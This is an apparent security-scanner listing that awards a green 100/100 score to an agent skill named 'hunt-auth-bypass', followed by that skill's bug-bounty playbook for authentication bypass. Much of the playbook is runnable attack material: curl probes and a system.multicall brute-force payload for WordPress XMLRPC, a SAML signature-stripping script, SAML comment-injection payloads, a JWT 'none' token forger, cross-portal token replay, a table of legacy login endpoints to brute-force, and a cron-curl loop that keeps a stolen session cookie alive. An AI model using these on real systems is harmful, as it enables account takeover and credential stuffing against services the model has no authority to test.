hunt-auth-bypass — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited hunt-auth-bypass (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Auth bypass is consistently one of the highest-paying vulnerability classes in bug bounty because it directly violates the most fundamental security control. High-value targets include:
partners.shopify.com, admin.company.comAsset priority: Targets with federated identity (SAML, OAuth, OIDC) connected to large user populations. Partner/reseller portals are particularly juicy because they often have elevated permissions and less security scrutiny than the main product.
URL patterns to hunt:
/xmlrpc.php
/wp-login.php
/saml/
/sso/
/auth/saml/callback
/oauth/callback
/partners.*
/admin.*
/?wc-api=
/api/v*/auth
/login?redirect=
/accounts/loginResponse headers signaling SSO:
X-Frame-Options: SAMEORIGIN (common on SSO portals)
Set-Cookie: SAMLResponse=
Location: https://idp.company.com/saml
WWW-Authenticate: Bearer realm="partners"JS patterns indicating federated auth:
// Look for in page source
samlRequest
RelayState
SAMLResponse
onelogin
shibboleth
okta
passport.js authenticateTech stack signals:
SimpleSAMLphp, ruby-saml, python-samlBurp passive scan triggers:
SAMLResponse in any POST bodyopenid_connect or id_token in responses.company.com (wildcard)robots.txt, JS files, and the wayback machine for forgotten endpoints like /xmlrpc.php/xmlrpc.php even if the main login is SSO-protected/xmlrpc.phpsystem.listMethods first, then wp.getUsersBlogspartners.shopify.com type portalspassword[]=array, SQL in username fieldadmin/admin, test/test on staging subdomainsrole, is_admin, user_type in JWTs (none algorithm, weak secret)state from OAuth break anything?redirect_uri to an open redirect target?RelayState in SAML get validated?When a target has a custom, branded login UI (e.g. customlogin.aspx, /auth/signin, /account/login), always probe the platform's legacy protocol endpoints with native credentials in parallel. These endpoints frequently outlive the custom UI's protections and accept native credentials with NO rate limit, NO MFA challenge, NO CAPTCHA, NO anti-automation. This is the WordPress XMLRPC pattern generalised across CMS / portal / framework stacks.
| Target tech | Legacy endpoint(s) to probe | Native-cred bypass surface |
|---|---|---|
| WordPress | /xmlrpc.php (system.listMethods, wp.getUsersBlogs, system.multicall) | Native WP user/pass; bypasses SSO, MFA, IP-allow rules on /wp-login.php |
| WordPress (REST) | /?rest_route=/wp/v2/users, /wp-json/wp/v2/users | User enumeration anonymously even when login page is hardened |
| SharePoint (any version) | /_vti_bin/Authentication.asmx (Mode + Login SOAP ops) | Native Forms-auth credential; FedAuth cookie returned; no rate limit on this endpoint observed on SP2013 farms — this is the canonical SP equivalent of the WP XMLRPC bypass |
| SharePoint legacy | /_vti_bin/_vti_aut/author.dll, /_vti_bin/_vti_adm/admin.dll, /_vti_bin/owssvr.dll | FrontPage RPC; sometimes still wired to credential validators |
| SharePoint REST | /_api/contextinfo (POST), /_api/$metadata | Anonymous FormDigest issuance; full API surface enumeration |
| Atlassian (Jira / Confluence) | /rest/auth/1/session (basic-auth), /rest/api/2/myself, legacy /rest/api/1.0/ | Native credentials accepted on /rest/auth/1/session even when Atlassian Crowd / Atlassian Access SSO is enforced on the UI |
| Drupal | /jsonapi/, /user/login?_format=json | JSON POST endpoint that accepts native passwords; separate from SSO middleware |
| Drupal (D7 legacy) | /?q=user/login, /services/, /rest/ | Older REST modules with independent auth |
| Joomla | /administrator/index.php?option=com_login, /api/index.php/v1/users | Native Joomla credentials accepted on admin entry independent of any front-site SSO |
| Exchange / OWA | /EWS/Exchange.asmx, /Autodiscover/Autodiscover.xml, /Microsoft-Server-ActiveSync | NTLM / Basic; bypasses OWA UI restrictions (MFA, IP-allow). The classic CVE-2020-0688 / CVE-2021-26855 surface |
| Citrix NetScaler | /vpn/index.html, /cgi/login, /nf/auth/doAuthentication.do | Native AD credentials; independent of MFA wrappers |
| F5 BIG-IP | /mgmt/tm/util/bash, /tmui/login.jsp | Native admin credentials |
| Generic ASP.NET app | *.asmx?WSDL, *.svc?WSDL, trace.axd, elmah.axd, .disco | Find every web service; many take credentials independently of the WebForms login |
| Spring Boot | /actuator/*, /management/*, /api/v1/auth/login, /api/v1/swagger-ui | Actuator endpoints sometimes anonymously enumerable |
| Jenkins | /jnlpJars/jenkins-cli.jar, /script, /manage, /computer/(master)/script | API tokens + native auth |
| GitLab | /api/v3/* (deprecated but still on old installs), /api/v4/users, /api/v4/projects | Personal Access Tokens with looser scoping than UI session |
| TeamCity | /app/rest/users, /login.html?username=&password= (GET-form-login) | Native admin credentials |
| Apache Tomcat | /manager/html, /host-manager/html, /manager/text/list | Native Tomcat realm credentials independent of any front auth |
| WebLogic | /console/login/LoginForm.jsp, /wls-wsat/* | Native admin |
| Oracle EBS / PeopleSoft | /OA_HTML/AppsLogin, /psp/*/?cmd=login | Native ERP credentials |
How to use:
hunt-misc Attack Surface Signals).Lesson from a authorized engagement: A an enterprise dealer portal on SharePoint 2013 had a custom branded customlogin.aspx. The hunt-auth-bypass skill was loaded but the matrix above did not exist in this document — and the WordPress XMLRPC pattern was not connected to the SharePoint equivalent. /_vti_bin/Authentication.asmx was reachable anonymously, accepted unlimited credential attempts with no rate limit and no lockout, and was the highest-impact finding in the engagement. Walking this matrix on the first pass would have surfaced it immediately.
XMLRPC auth probe (bypasses SSO):
curl -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>'
# If 200 with method list → XMLRPC is enabled, test auth:
curl -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>password</string></value></param>
</params>
</methodCall>'SAML signature stripping (send unsigned assertion):
import base64, re
# Decode captured SAMLResponse
saml_b64 = "BASE64_FROM_BURP"
saml_xml = base64.b64decode(saml_b64).decode()
# Strip the Signature element entirely
stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)
# Re-encode and submit
print(base64.b64encode(stripped.encode()).decode())SAML XML comment injection (username confusion):
<!-- Original NameID -->
<NameID>[email protected]</NameID>
<!-- Injected to confuse parser -->
<NameID>[email protected]<!---->[email protected]</NameID>
<!-- Or namespace confusion -->
<NameID xmlns:evil="http://evil.com">[email protected]</NameID>Partner/cross-portal token reuse test:
# Get token from partner portal
TOKEN=$(curl -s -X POST https://partners.target.com/login \
-d '[email protected]&password=pass' \
-c cookies.txt | grep -o 'token=[^;]*')
# Replay against admin portal
curl -s https://admin.target.com/dashboard \
-H "Authorization: Bearer $TOKEN" \
-H "Cookie: $TOKEN"JWT none algorithm attack:
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"[email protected]"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
print(token)Grep patterns for auth bypass surface:
# Find XMLRPC in scope
grep -r "xmlrpc" scope_urls.txt
# Find SSO indicators in JS
grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js
# Find partner/admin subdomains
subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"/xmlrpc.php, REST API, mobile API) have their own auth handlers that still accept native credentials.wantAssertionsSigned: false or fail to configure the IdP certificate correctly.| Defense | Bypass |
|---|---|
| SSO enforced on login page | Probe alternate entry points: XMLRPC, REST API, mobile API, legacy endpoints |
| SAML signature validation | XML comment injection, namespace wrapping, signature wrapping (XSW), remove signature entirely |
| IP allowlisting on admin portal | Use partner portal token if it shares auth backend |
| Rate limiting on login | XMLRPC allows credential stuffing via system.multicall — batches hundreds of auth attempts in one request |
| CSRF token on login form | SAML flow is POST-based cross-origin by design; no CSRF token needed on /saml/callback |
| JWT signature validation | alg: none, key confusion (RS256 → HS256 with public key as secret), brute-force weak secrets |
| Separate session stores per portal | Check if cookie domain is .target.com (wildcard) — cookie bleeds between subdomains |
| MFA on primary login | If SAML SP doesn't enforce MFA at the assertion level and accepts pre-auth assertions, MFA can be skipped |
XMLRPC multicall for mass auth bypass:
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<!-- repeat for each credential pair -->
</data></array></value></param></params>
</methodCall>Before writing any report, answer these three questions:
Must be: authenticate as another user OR authenticate without valid credentials OR elevate to admin/privileged role. "Partial information disclosure" is not auth bypass.
Must identify a concrete asset: account takeover of specific user, access to all admin functions, ability to read/modify other tenants' data, or access to privileged APIs. Abstract "security control bypass" without impact is not sufficient.
You must be able to: (a) start from a fresh browser/session, (b) follow your exact steps, and (c) arrive at authenticated access to a protected resource. If reproduction requires special preconditions you can't re-create (a specific victim's active session, timing windows), the report needs more work.
Scenario 1 — SSO Enforcement Bypassed via Forgotten Protocol Endpoint A large ride-sharing company enforced SSO (via OneLogin) on all WordPress-based internal/public properties. The XMLRPC endpoint (/xmlrpc.php) remained active and accepted WordPress-native credentials entirely independent of the SSO flow. An attacker with any valid WP-native credentials (obtained via credential stuffing or from a previous breach) could authenticate directly through XMLRPC, bypassing MFA, SSO policies, and IP restrictions enforced on the main login form. Impact: Full authenticated access to all WordPress functions available to that user role, including content management and potentially admin functions.
Scenario 2 — SAML Assertion Forgery via Signature Validation Failure A major enterprise communication platform's SAML SP implementation failed to properly validate assertion signatures in specific edge cases. By manipulating the XML structure of a captured SAMLResponse (specifically through comment injection or namespace prefix attacks), an attacker could modify the NameID value to impersonate any user in an organization — including workspace administrators — without possessing that user's credentials or private key material. Impact: Complete account takeover of any user within a SAML-enabled organization; attacker gains access to all messages, files, and integrations in the workspace.
Scenario 3 — Cross-Portal Privilege Escalation via Shared Auth Backend An e-commerce platform's partner/reseller portal issued authentication tokens that were validated by the same backend service as the merchant admin portal. A partner-level account (lower trust, external-facing) could use its issued credentials or tokens to authenticate directly against admin-tier API endpoints, bypassing the merchant onboarding and permission assignment flow. Impact: A malicious partner could access any merchant's admin panel, modify store configurations, exfiltrate customer PII and payment data, or install malicious scripts — affecting thousands of merchant storefronts.
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans 4 SAML subclasses, 4 JWT subclasses, 1 legacy-protocol (XMLRPC), and 2 partner-portal cross-domain reuse patterns.
<Assertion> so REXML (signature-checker) and Nokogiri (business-logic reader) resolve different nodes via the same XPath. Signature validates against benign node; SP consumes attacker-controlled <NameID>admin@target</NameID>site_adminNameID; SP did not strictly validate signature scope, so attacker-controlled assertion accepted, granting OneLogin SSO session to internal chat@@@nopass@@@. SSO plugin blocked wp-login.php only. POST xmlrpc.php with wp.getUsersBlogs + known shared password → authenticated as any previously-SSO'd user\r, ``) to email → domain comparison normalises away, signup proceeds → unauthorised access to the org{"alg":"HS256"} signed with that public key as the HMAC secret → Prosody module validates and admits attacker into authenticated/moderator roomalg=RS256; allowed symmetric algorithm using the public key as shared secretaud (e.g., kubernetes) → present it as bearer to Argo CD API → API treats it as valid because it accepted the issuer's signature and skipped aud enforcementaud claim not enforced; signature-trust extended across audiencesDuende BFF deployments expose two distinct auth-bypass families beyond the CSRF angle covered in hunt-csrf. Both are documented architectural realities, not unicorn CVEs.
UserOrClient / UserOrNone privilege escalationDuende.BFF.Yarp attaches access tokens to proxied routes via WithAccessToken(TokenType.X) metadata. The misconfig pattern: developer marks a route UserOrClient (use user token if logged in, else fall back to client-credentials token) intending it for a "public catalog" endpoint. The client-credentials (M2M) token frequently has broader scope (api.admin, internal.read) than any user token. An unauthenticated attacker hitting that route gets the request proxied with the service-account token attached to the downstream API — privilege escalation by design when the downstream trusts the bearer.
Payload shape: identify a BFF route marked TokenType.UserOrClient (visible via 401-vs-200 differential when no session, or via leaked OpenAPI/NSwag spec). Hit it with no cookies → BFF forwards with M2M token granting admin-scope downstream. (docs.duendesoftware.com/bff/fundamentals/apis/yarp)
Adjacent confirmed CVE: CVE-2024-51987 in Duende.AccessTokenManagement.OpenIdConnect — "HTTP client uses incorrect token after refresh" — materially the same family of token-confusion at the proxy layer. Moderate severity, fixed 2024. (GHSA-...51987)
When BFF session cookie has Domain=.example.com (devs do this to share login across app. and admin.), the __Host- prefix protection is dropped. Any sibling subdomain — including a taken-over one (legacy.example.com CNAMEd to deprovisioned Heroku/S3) — can write Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com. Victim hits app.example.com carrying the attacker's session = session-fixation ATO.
If SlidingExpiration=true (default) and ExpireTimeSpan is large (e.g. 8h), an exfiltrated cookie remains valid and keeps sliding forward as long as the attacker periodically calls /bff/user. There is no server-side refresh-token rotation check on the cookie itself — only the OIDC token (server-side) rotates. Persistent ATO window per stolen cookie.
Payload shape: subdomain takeover → write the BFF session cookie with Domain=.example.com → victim's next visit to app.example.com adopts attacker's session. Cron-curl GET /bff/user -H 'X-CSRF: 1' -b '.AspNetCore.Cookies=...' every 6h indefinitely to keep the session alive.
Hardening reference: docs.duendesoftware.com/bff/fundamentals/session/handlers, nestenius.se BFF cookie guide, Langkemper on __Host- prefix.
/bff/user claim disclosureGET /bff/user returns the full claim set of the active session as a JSON array — sub, sid, email, bff:session_expires_in, bff:session_state, bff:logout_url, plus every custom claim the OP issued (department, role, internal employee ID, tenant ID). The endpoint is gated only by session cookie + X-CSRF: 1. If AnonymousSessionResponse=Response200 is set, the endpoint also acts as a session probe (200 + claims vs 200 + null) usable as an auth-state oracle. Low/Medium info-disclosure on its own; valuable as recon for the YARP token-confusion class above. (docs.duendesoftware.com/bff/fundamentals/session/management/user)
No Duende.BFF-direct CVE exists. The three classes are exploitable via real-world misconfigurations; CVE-2024-51987 and CVE-2025-26620 in the adjacent Duende.AccessTokenManagement packages make token-confusion a confirmed family. Report by chain impact (e.g., "low-priv session reaches admin-scope downstream API via UserOrClient route" → Critical) rather than by CVE citation, since the issue is design-level.
Cross-references for the chain:
hunt-csrf — the role-partitioned antiforgery class (the CSRF angle on the same BFF surface).hunt-subdomain-takeover / hunt-subdomain — required primitive for the cookie-domain attack.Authentication bypass gets you in; function-level access control failures let an already-authenticated low-privilege user reach privileged functions the UI never offered them. This is the authorization sibling of hunt-idor (object-level access) — test both whenever you hold any authenticated session.
The sibling-function rule: if 9 endpoints under a path enforce auth/role middleware, the 10th that doesn't is your bug. Admin route families are the highest-yield place to look:
/api/admin/users → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset → often MISSING itAnti-patterns to grep for:
// Missing middleware on a sibling route
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport); // No middleware!
// Client-side role check only — server never re-checks
if (user.role === 'admin') showAdminButton(); // frontend gate
app.post('/api/admin/delete', deleteUser); // no server-side checkHow to hunt: enumerate every privileged endpoint (admin/export/delete/reset/impersonate, GraphQL admin queries), then replay each from a regular authenticated session — and again with no session. A 200 (or a differential vs the 403 its siblings return) is broken function-level access control.
Real paid example — HackerOne TrustHub: POST /graphql with the TrustHubQuery operation had no authorization check — a regular user could read all vendors' data (CVSS 8.7, High). The object-level variant (e.g. a WebSocket get_history accepting an arbitrary UUID with no ownership check) belongs to hunt-idor.
/v1/users/{id} route missing both auth middleware AND ownership check = unauthenticated cross-tenant data read via direct ID substitution → full PII dump from "I am nobody" starting position.wp.getUsersBlogs → credential-stuff with breach corpus from hunt-misc recon → system.multicall batches 1000 cred pairs per request → one valid pair = ATO bypassing the SSO + MFA the UI enforces./_vti_bin/Authentication.asmx anonymous reachable + native Forms-auth credential accepted + zero rate limit = unlimited credential brute-force endpoint bypassing custom-branded customlogin.aspx protections → FedAuth cookie → full SharePoint farm access.~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.